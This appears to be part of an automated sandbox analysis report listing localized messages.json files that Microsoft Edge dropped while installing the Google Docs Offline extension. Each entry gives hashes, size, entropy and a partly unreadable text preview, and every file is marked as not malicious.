Preview:	{"createnew":{"message":"\u0421\u0422\u0412\u0410\u0420\u042b\u0426\u042c \u041d\u041e\u0412\u042b"},"explanationofflinedisabled":{"message":"\u0412\u044b \u045e \u043f\u0430\u0437\u0430\u0441\u0435\u0442\u043a\u0430\u0432\u044b\u043c \u0440\u044d\u0436\u044b\u043c\u0435. \u041a\u0430\u0431 \u043a\u0430\u0440\u044b\u0441\u0442\u0430\u0446\u0446\u0430 \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0456 Google \u0431\u0435\u0437 \u043f\u0430\u0434\u043a\u043b\u044e\u0447\u044d\u043d\u043d\u044f \u0434\u0430 \u0456\u043d\u0442\u044d\u0440\u043d\u044d\u0442\u0443, \u043f\u0435\u0440\u0430\u0439\u0434\u0437\u0456\u0446\u0435 \u0434\u0430 \u043d\u0430\u043b\u0430\u0434 \u043d\u0430 \u0433\u0430\u043b\u043e\u045e\u043d\u0430\u0439 \u0441\u0442\u0430\u0440\u043e\u043d\u0446\u044b \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u045e Google \u0456 \u045e\u043a\u043b\u044e\u0447\u044b\u0446\u0435 \u0441\u0456\u043d\u0445\u0440\u0430\u043d\u0456\u0437\u0430\u0446\u044b\u044e

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1181229178\CRX_INSTALL\_locales\bg\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1389
Entropy (8bit):	4.561317517930672
Encrypted:	false
SSDEEP:	24:1HAp1DQqUfZ+Yann08VOeadclUZbyMzZzsYvwUNn7nOyRK8/nn08V7:g1UTfZ+Ya08Uey3tflCRE08h
MD5:	2E6423F38E148AC5A5A041B1D5989CC0
SHA1:	88966FFE39510C06CD9F710DFAC8545672FFDCEB
SHA-256:	AC4A8B5B7C0B0DD1C07910F30DCFBDF1BCB701CFCFD182B6153FD3911D566C0E
SHA-512:	891FCDC6F07337970518322C69C6026896DD3588F41F1E6C8A1D91204412CAE01808F87F9F2DEA1754458D70F51C3CEF5F12A9E3FC011165A42B0844C75EC683
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. .. .......... Google ......... ... ........ ......, ........ ........... . ......... ........ .. Google ......... . ........ ...... .............. ......... ..., ...... ..... ...... . .........".. },.. "explanationofflineenabled": {.. "message": "...... ..., .. ... ...... .. ........... ......... ....... ... .. ......... .....".. },.. "extdesc": {.. "message": "............, .......... . ............ ...... ........., .......... ....... . ........... . ...... .... ... ...... .. .........".. },..

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1181229178\CRX_INSTALL\_locales\bn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1763
Entropy (8bit):	4.25392954144533
Encrypted:	false
SSDEEP:	24:1HABGtNOtIyHmVd+q+3X2AFl2DhrR7FAWS9+SMzI8QVAEq8yB0XtfOyvU7D:oshmm/+H2Ml2DrFPS9+S99EzBd7D
MD5:	651375C6AF22E2BCD228347A45E3C2C9
SHA1:	109AC3A912326171D77869854D7300385F6E628C
SHA-256:	1DBF38E425C5C7FC39E8077A837DF0443692463BA1FBE94E288AB5A93242C46E
SHA-512:	958AA7CF645FAB991F2ECA0937BA734861B373FB1C8BCC001599BE57C65E0917F7833A971D93A7A6423C5F54A4839D3A4D5F100C26EFA0D2A068516953989F9D
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ....".. },.. "explanationofflinedisabled": {.. "message": ".... ....... ....... .... ......... ..... ..... Google ........ ....... ...., Google .......... ........ ....... ... ... .... ... .... ... ........... .... ....... .... ... ...... ..... .... .....".. },.. "explanationofflineenabled": {.. "message": ".... ....... ......, ...... .... .... ...... .......... ........ .... .. .... .... .... .... .......".. },.. "extdesc":

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1181229178\CRX_INSTALL\_locales\ca\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	930
Entropy (8bit):	4.569672473374877
Encrypted:	false
SSDEEP:	12:1HASvggoSCBxNFT0sXuqgEHQ2fTq9blUJYUJaw9CBxejZFPLOjCSUuE44pMiiDat:1HAtqs+BEHGpURxSp1iUPWCAXtRKe
MD5:	D177261FFE5F8AB4B3796D26835F8331
SHA1:	4BE708E2FFE0F018AC183003B74353AD646C1657
SHA-256:	D6E65238187A430FF29D4C10CF1C46B3F0FA4B91A5900A17C5DFD16E67FFC9BD
SHA-512:	E7D730304AED78C0F4A78DADBF835A22B3D8114FB41D67B2B26F4FE938B572763D3E127B7C1C81EBE7D538DA976A7A1E7ADC40F918F88AFADEA2201AE8AB47D0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA'N UN DE NOU".. },.. "explanationofflinedisabled": {.. "message": "No tens connexi.. Per utilitzar Documents de Google sense connexi. a Internet, ves a la configuraci. de la p.gina d'inici d'aquest servei i activa l'opci. per sincronitzar-se sense connexi. la propera vegada que estiguis connectat a la xarxa.".. },.. "explanationofflineenabled": {.. "message": "Tot i que no tens connexi., pots editar o crear fitxers.".. },.. "extdesc": {.. "message": "Edita, crea i consulta documents, fulls de c.lcul i presentacions, tot sense acc.s a Internet.".. },.. "extname": {.. "message": "Documents de Google sense connexi.".. },.. "learnmore": {.. "message": "M.s informaci.".. },.. "popuphelptext": {.. "message": "Escriu text, edita fitxers i col.labora-hi siguis on siguis, amb o sense connexi. a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1181229178\CRX_INSTALL\_locales\cs\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	913
Entropy (8bit):	4.947221919047
Encrypted:	false
SSDEEP:	12:1HASvgdsbCBxNBmobXP15Dxoo60n40h6qCBxeBeGG/9jZCSUKFPDLZ2B2hCBhPLm:1HApJmoZ5e50nzQhwAd7dvYB2kDSGGKs
MD5:	CCB00C63E4814F7C46B06E4A142F2DE9
SHA1:	860936B2A500CE09498B07A457E0CCA6B69C5C23
SHA-256:	21AE66CE537095408D21670585AD12599B0F575FF2CB3EE34E3A48F8CC71CFAB
SHA-512:	35839DAC6C985A6CA11C1BFF5B8B5E59DB501FCB91298E2C41CB0816B6101BF322445B249EAEA0CEF38F76D73A4E198F2B6E25EEA8D8A94EA6007D386D4F1055
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVO.IT".. },.. "explanationofflinedisabled": {.. "message": "Jste offline. Pokud chcete Dokumenty Google pou..vat bez p.ipojen. k.internetu, a. budete p...t. online, p.ejd.te do nastaven. na domovsk. str.nce Dokument. Google a.zapn.te offline synchronizaci.".. },.. "explanationofflineenabled": {.. "message": "Jste offline, ale st.le m..ete upravovat dostupn. soubory nebo vytv..et nov..".. },.. "extdesc": {.. "message": "Upravujte, vytv..ejte a.zobrazujte sv. dokumenty, tabulky a.prezentace . v.e bez p..stupu k.internetu.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Dal.. informace".. },.. "popuphelptext": {.. "message": "Pi.te, upravujte a.spolupracujte kdekoli, s.p.ipojen.m k.internetu i.bez n.j.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1181229178\CRX_INSTALL\_locales\cy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	806
Entropy (8bit):	4.815663786215102
Encrypted:	false
SSDEEP:	12:YGo35xMxy6gLr4Dn1eBVa1xzxyn1VFQB6FDVgdAJex9QH7uy+XJEjENK32J21j:Y735+yoeeRG54uDmdXx9Q7u3r83Xj
MD5:	A86407C6F20818972B80B9384ACFBBED
SHA1:	D1531CD0701371E95D2A6BB5EDCB79B949D65E7C
SHA-256:	A482663292A913B02A9CDE4635C7C92270BF3C8726FD274475DC2C490019A7C9
SHA-512:	D9FBF675514A890E9656F83572208830C6D977E34D5744C298A012515BC7EB5A17726ADD0D9078501393BABD65387C4F4D3AC0CC0F7C60C72E09F336DCA88DE7
Malicious:	false
Preview:	{"createnew":{"message":"CREU NEWYDD"},"explanationofflinedisabled":{"message":"Rydych chi all-lein. I ddefnyddio Dogfennau Google heb gysylltiad \u00e2'r rhyngrwyd, ewch i'r gosodiadau ar dudalen hafan Dogfennau Google a throi 'offine sync' ymlaen y tro nesaf y byddwch wedi'ch cysylltu \u00e2'r rhyngrwyd."},"explanationofflineenabled":{"message":"Rydych chi all-lein, ond gallwch barhau i olygu'r ffeiliau sydd ar gael neu greu rhai newydd."},"extdesc":{"message":"Gallwch olygu, creu a gweld eich dogfennau, taenlenni a chyflwyniadau \u2013 i gyd heb fynediad i'r rhyngrwyd."},"extname":{"message":"Dogfennau Google All-lein"},"learnmore":{"message":"DYSGU MWY"},"popuphelptext":{"message":"Ysgrifennwch, golygwch a chydweithiwch lle bynnag yr ydych, gyda chysylltiad \u00e2'r rhyngrwyd neu hebddo."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1181229178\CRX_INSTALL\_locales\da\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	883
Entropy (8bit):	4.5096240460083905
Encrypted:	false
SSDEEP:	24:1HA4EFkQdUULMnf1yo+9qgpukAXW9bGJTvDyqdr:zEFkegfw9qwAXWNs/yu
MD5:	B922F7FD0E8CCAC31B411FC26542C5BA
SHA1:	2D25E153983E311E44A3A348B7D97AF9AAD21A30
SHA-256:	48847D57C75AF51A44CBF8F7EF1A4496C2007E58ED56D340724FDA1604FF9195
SHA-512:	AD0954DEEB17AF04858DD5EC3D3B3DA12DFF7A666AF4061DEB6FD492992D95DB3BAF751AB6A59BEC7AB22117103A93496E07632C2FC724623BB3ACF2CA6093F3
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPRET NYT".. },.. "explanationofflinedisabled": {.. "message": "Du er offline. Hvis du vil bruge Google Docs uden en internetforbindelse, kan du g. til indstillinger p. startsiden for Google Docs og aktivere offlinesynkronisering, n.ste gang du har internetforbindelse.".. },.. "explanationofflineenabled": {.. "message": "Du er offline, men du kan stadig redigere tilg.ngelige filer eller oprette nye.".. },.. "extdesc": {.. "message": "Rediger, opret og se dine dokumenter, regneark og pr.sentationer helt uden internetadgang.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "F. flere oplysninger".. },.. "popuphelptext": {.. "message": "Skriv, rediger og samarbejd, uanset hvor du er, og uanset om du har internetforbindelse.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1181229178\CRX_INSTALL\_locales\de\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	4.621865814402898
Encrypted:	false
SSDEEP:	24:1HA6sZnqWd77ykJzCkhRhoe1HMNaAJPwG/p98HKpy2kX/R:WZqWxykJzthRhoQma+tpyHX2O/R
MD5:	D116453277CC860D196887CEC6432FFE
SHA1:	0AE00288FDE696795CC62FD36EABC507AB6F4EA4
SHA-256:	36AC525FA6E28F18572D71D75293970E0E1EAD68F358C20DA4FDC643EEA2C1C5
SHA-512:	C788C3202A27EC220E3232AE25E3C855F3FDB8F124848F46A3D89510C564641A2DFEA86D5014CEA20D3D2D3C1405C96DBEB7CCAD910D65C55A32FDCA8A33FDD4
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NEU ERSTELLEN".. },.. "explanationofflinedisabled": {.. "message": "Sie sind offline. Um Google Docs ohne Internetverbindung zu verwenden, gehen Sie auf der Google Docs-Startseite auf \"Einstellungen\" und schalten die Offlinesynchronisierung ein, wenn Sie das n.chste Mal mit dem Internet verbunden sind.".. },.. "explanationofflineenabled": {.. "message": "Sie sind offline, aber k.nnen weiterhin verf.gbare Dateien bearbeiten oder neue Dateien erstellen.".. },.. "extdesc": {.. "message": "Mit der Erweiterung k.nnen Sie Dokumente, Tabellen und Pr.sentationen bearbeiten, erstellen und aufrufen.. ganz ohne Internetverbindung.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Weitere Informationen".. },.. "popuphelptext": {.. "message": "Mit oder ohne Internetverbindung: Sie k.nnen von .berall Dokumente erstellen, .ndern und zusammen mit anderen

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1181229178\CRX_INSTALL\_locales\el\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1613
Entropy (8bit):	4.618182455684241
Encrypted:	false
SSDEEP:	24:1HAJKan4EITDZGoziRAc2Z8eEfkTJfLhGX7b0UBNoAcGpVyhxefSmuq:SKzTD0IK85JlwsGOUyaSk
MD5:	9ABA4337C670C6349BA38FDDC27C2106
SHA1:	1FC33BE9AB4AD99216629BC89FBB30E7AA42B812
SHA-256:	37CA6AB271D6E7C9B00B846FDB969811C9CE7864A85B5714027050795EA24F00
SHA-512:	8564F93AD8485C06034A89421CE74A4E719BBAC865E33A7ED0B87BAA80B7F7E54B240266F2EDB595DF4E6816144428DB8BE18A4252CBDCC1E37B9ECC9F9D7897
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......... ....".. },.. "explanationofflinedisabled": {.. "message": "..... ..... ......... ... .. ............... .. ....... Google ..... ....... ... ........., ......... .... ......... .... ...... ...... ... ........ Google ... ............. ... ........... ..... ........ ... ....... .... ... .. ..... ............ ... ..........".. },.. "explanationofflineenabled": {.. "message": "..... ..... ........ .... ........ .. .............. .. ......... ...... . .. ............. ... .......".. },.. "extdesc": {.. "message": ".............., ............ ... ..... .. ......., .

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1181229178\CRX_INSTALL\_locales\en\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1181229178\CRX_INSTALL\_locales\en_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1181229178\CRX_INSTALL\_locales\en_GB\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	848
Entropy (8bit):	4.494568170878587
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3vRyc1NzXW6iFrSCBxesJGceKCSUuvlvOgwCBhUufz1tnaXrQ:1HA3djfR3NzXviFrJj4sJXJ+bA6RM
MD5:	3734D498FB377CF5E4E2508B8131C0FA
SHA1:	AA23E39BFE526B5E3379DE04E00EACBA89C55ADE
SHA-256:	AB5CDA04013DCE0195E80AF714FBF3A67675283768FFD062CF3CF16EDB49F5D4
SHA-512:	56D9C792954214B0DE56558983F7EB7805AC330AF00E944E734340BE41C68E5DD03EDDB17A63BC2AB99BDD9BE1F2E2DA5BE8BA7C43D938A67151082A9041C7BA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an Internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the Internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create and view your documents, spreadsheets and presentations . all without Internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn more".. },.. "popuphelptext": {.. "message": "Write, edit and collaborate wherever you are, with or without an Internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1181229178\CRX_INSTALL\_locales\en_US\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1425
Entropy (8bit):	4.461560329690825
Encrypted:	false
SSDEEP:	24:1HA6Krbbds5Kna/BNzXviFrpsCxKU4irpNQ0+qWK5yOJAaCB7MAa6:BKrbBs5Kna/BNzXvi3sCxKZirA0jWK5m
MD5:	578215FBB8C12CB7E6CD73FBD16EC994
SHA1:	9471D71FA6D82CE1863B74E24237AD4FD9477187
SHA-256:	102B586B197EA7D6EDFEB874B97F95B05D229EA6A92780EA8544C4FF1E6BC5B1
SHA-512:	E698B1A6A6ED6963182F7D25AC12C6DE06C45D14499DDC91E81BDB35474E7EC9071CFEBD869B7D129CB2CD127BC1442C75E408E21EB8E5E6906A607A3982B212
Malicious:	false
Preview:	{.. "createNew": {.. "description": "Text shown in the extension pop up for creating a new document",.. "message": "CREATE NEW".. },.. "explanationOfflineDisabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is disabled.",.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationOfflineEnabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is enabled.",.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extDesc": {.. "description": "Extension description",.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extName": {.. "description": "Extension name",..

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1181229178\CRX_INSTALL\_locales\es\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	961
Entropy (8bit):	4.537633413451255
Encrypted:	false
SSDEEP:	12:1HASvggeCBxNFxcw2CVcfamedatqWCCBxeFxCF/m+rWAaFQbCSUuExqIQdO06stp:1HAqn0gcfa9dc/5mCpmIWck02USfWmk
MD5:	F61916A206AC0E971CDCB63B29E580E3
SHA1:	994B8C985DC1E161655D6E553146FB84D0030619
SHA-256:	2008F4FAAB71AB8C76A5D8811AD40102C380B6B929CE0BCE9C378A7CADFC05EB
SHA-512:	D9C63B2F99015355ACA04D74A27FD6B81170750C4B4BE7293390DC81EF4CD920EE9184B05C61DC8979B6C2783528949A4AE7180DBF460A2620DBB0D3FD7A05CF
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a Configuraci.n en la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que te conectes a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n. Aun as., puedes crear archivos o editar los que est.n disponibles.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones; todo ello, sin acceso a Internet.".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe o edita contenido y colabora con otras personas desde cualquier lugar, con o sin conexi.n a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1181229178\CRX_INSTALL\_locales\es_419\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	959
Entropy (8bit):	4.570019855018913
Encrypted:	false
SSDEEP:	24:1HARn05cfa9dcDmQOTtSprj0zaGUSjSGZ:+n0CfMcDmQOTQprj4qpC
MD5:	535331F8FB98894877811B14994FEA9D
SHA1:	42475E6AFB6A8AE41E2FC2B9949189EF9BBE09FB
SHA-256:	90A560FF82605DB7EDA26C90331650FF9E42C0B596CEDB79B23598DEC1B4988F
SHA-512:	2CE9C69E901AB5F766E6CFC1E592E1AF5A07AA78D154CCBB7898519A12E6B42A21C5052A86783ABE3E7A05043D4BD41B28960FEDDB30169FF7F7FE7208C8CFE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NUEVO".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a la configuraci.n de la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que est.s conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n, pero a.n puedes modificar los archivos disponibles o crear otros nuevos.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones aunque no tengas acceso a Internet".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, modifica y colabora dondequiera que est.s, con conexi.n a Internet o sin ella.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1181229178\CRX_INSTALL\_locales\et\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	968
Entropy (8bit):	4.633956349931516
Encrypted:	false
SSDEEP:	24:1HA5WG6t306+9sihHvMfdJLjUk4NJPNczGr:mWGY0cOUdJODPmzs
MD5:	64204786E7A7C1ED9C241F1C59B81007
SHA1:	586528E87CD670249A44FB9C54B1796E40CDB794
SHA-256:	CC31B877238DA6C1D51D9A6155FDE565727A1956572F466C387B7E41C4923A29
SHA-512:	44FCF93F3FB10A3DB68D74F9453995995AB2D16863EC89779DB451A4D90F19743B8F51095EEC3ECEF5BD0C5C60D1BF3DFB0D64DF288DCCFBE70C129AE350B2C6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LOO UUS".. },.. "explanationofflinedisabled": {.. "message": "Teil ei ole v.rgu.hendust. Teenuse Google.i dokumendid kasutamiseks ilma Interneti-.henduseta avage j.rgmine kord, kui olete Internetiga .hendatud, teenuse Google.i dokumendid avalehel seaded ja l.litage sisse v.rgu.henduseta s.nkroonimine.".. },.. "explanationofflineenabled": {.. "message": "Teil ei ole v.rgu.hendust, kuid saate endiselt saadaolevaid faile muuta v.i uusi luua.".. },.. "extdesc": {.. "message": "Saate luua, muuta ja vaadata oma dokumente, arvustustabeleid ning esitlusi ilma Interneti-.henduseta.".. },.. "extname": {.. "message": "V.rgu.henduseta Google.i dokumendid".. },.. "learnmore": {.. "message": "Lisateave".. },.. "popuphelptext": {.. "message": "Kirjutage, muutke ja tehke koost..d .ksk.ik kus olenemata sellest, kas teil on Interneti-.hendus.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1181229178\CRX_INSTALL\_locales\eu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	838
Entropy (8bit):	4.4975520913636595
Encrypted:	false
SSDEEP:	24:YnmjggqTWngosqYQqE1kjO39m7OddC0vjWQMmWgqwgQ8KLcxOb:Ynmsgqyngosq9qxTOs0vjWQMbgqchb
MD5:	29A1DA4ACB4C9D04F080BB101E204E93
SHA1:	2D0E4587DDD4BAC1C90E79A88AF3BD2C140B53B1
SHA-256:	A41670D52423BA69C7A65E7E153E7B9994E8DD0370C584BDA0714BD61C49C578
SHA-512:	B7B7A5A0AA8F6724B0FA15D65F25286D9C66873F03080CBABA037BDEEA6AADC678AC4F083BC52C2DB01BEB1B41A755ED67BBDDB9C0FE4E35A004537A3F7FC458
Malicious:	false
Preview:	{"createnew":{"message":"SORTU"},"explanationofflinedisabled":{"message":"Ez zaude konektatuta Internetera. Google Dokumentuak konexiorik gabe erabiltzeko, joan Google Dokumentuak zerbitzuaren orri nagusiko ezarpenetara eta aktibatu konexiorik gabeko sinkronizazioa Internetera konektatzen zaren hurrengoan."},"explanationofflineenabled":{"message":"Ez zaude konektatuta Internetera, baina erabilgarri dauden fitxategiak edita ditzakezu, baita beste batzuk sortu ere."},"extdesc":{"message":"Editatu, sortu eta ikusi dokumentuak, kalkulu-orriak eta aurkezpenak Interneteko konexiorik gabe."},"extname":{"message":"Google Dokumentuak konexiorik gabe"},"learnmore":{"message":"Lortu informazio gehiago"},"popuphelptext":{"message":"Edonon zaudela ere, ez duzu zertan konektatuta egon idatzi, editatu eta lankidetzan jardun ahal izateko."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1181229178\CRX_INSTALL\_locales\fa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1305
Entropy (8bit):	4.673517697192589
Encrypted:	false
SSDEEP:	24:1HAX9yM7oiI99Rwx4xyQakJbfAEJhmq/RlBu92P7FbNcgYVJ0:JM7ovex4xyQaKjAEyq/p7taX0
MD5:	097F3BA8DE41A0AAF436C783DCFE7EF3
SHA1:	986B8CABD794E08C7AD41F0F35C93E4824AC84DF
SHA-256:	7C4C09D19AC4DA30CC0F7F521825F44C4DFBC19482A127FBFB2B74B3468F48F1
SHA-512:	8114EA7422E3B20AE3F08A3A64A6FFE1517A7579A3243919B8F789EB52C68D6F5A591F7B4D16CEE4BD337FF4DAF4057D81695732E5F7D9E761D04F859359FADB
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ... ....".. },.. "explanationofflinedisabled": {.. "message": "...... ...... .... ....... .. ....... Google .... ..... ........ .... ... .. .. ....... ... ..... .. ....... .. .... .... ....... Google ..... . .......... ...... .. .... .....".. },.. "explanationofflineenabled": {.. "message": "...... ..... ... ...... ......... ......... .. .. .. ..... ..... ...... .... .. ........ ..... ..... .....".. },.. "extdesc": {.. "message": "...... ............ . ........ .. ....... ..... . ...... .... . ... ... ..... .... ...... .. ........".. },.. "extname": {.. "message": "....... Google .

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1181229178\CRX_INSTALL\_locales\fi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	911
Entropy (8bit):	4.6294343834070935
Encrypted:	false
SSDEEP:	12:1HASvguCBxNMME2BESA7gPQk36xCBxeMMcXYBt+CSU1pfazCBhUunV1tLaX5GI2N:1HAVioESAsPf36O3Xst/p3J8JeEY
MD5:	B38CBD6C2C5BFAA6EE252D573A0B12A1
SHA1:	2E490D5A4942D2455C3E751F96BD9960F93C4B60
SHA-256:	2D752A5DBE80E34EA9A18C958B4C754F3BC10D63279484E4DF5880B8FD1894D2
SHA-512:	6E65207F4D8212736059CC802C6A7104E71A9CC0935E07BD13D17EC46EA26D10BC87AD923CD84D78781E4F93231A11CB9ED8D3558877B6B0D52C07CB005F1C0C
Malicious:	false
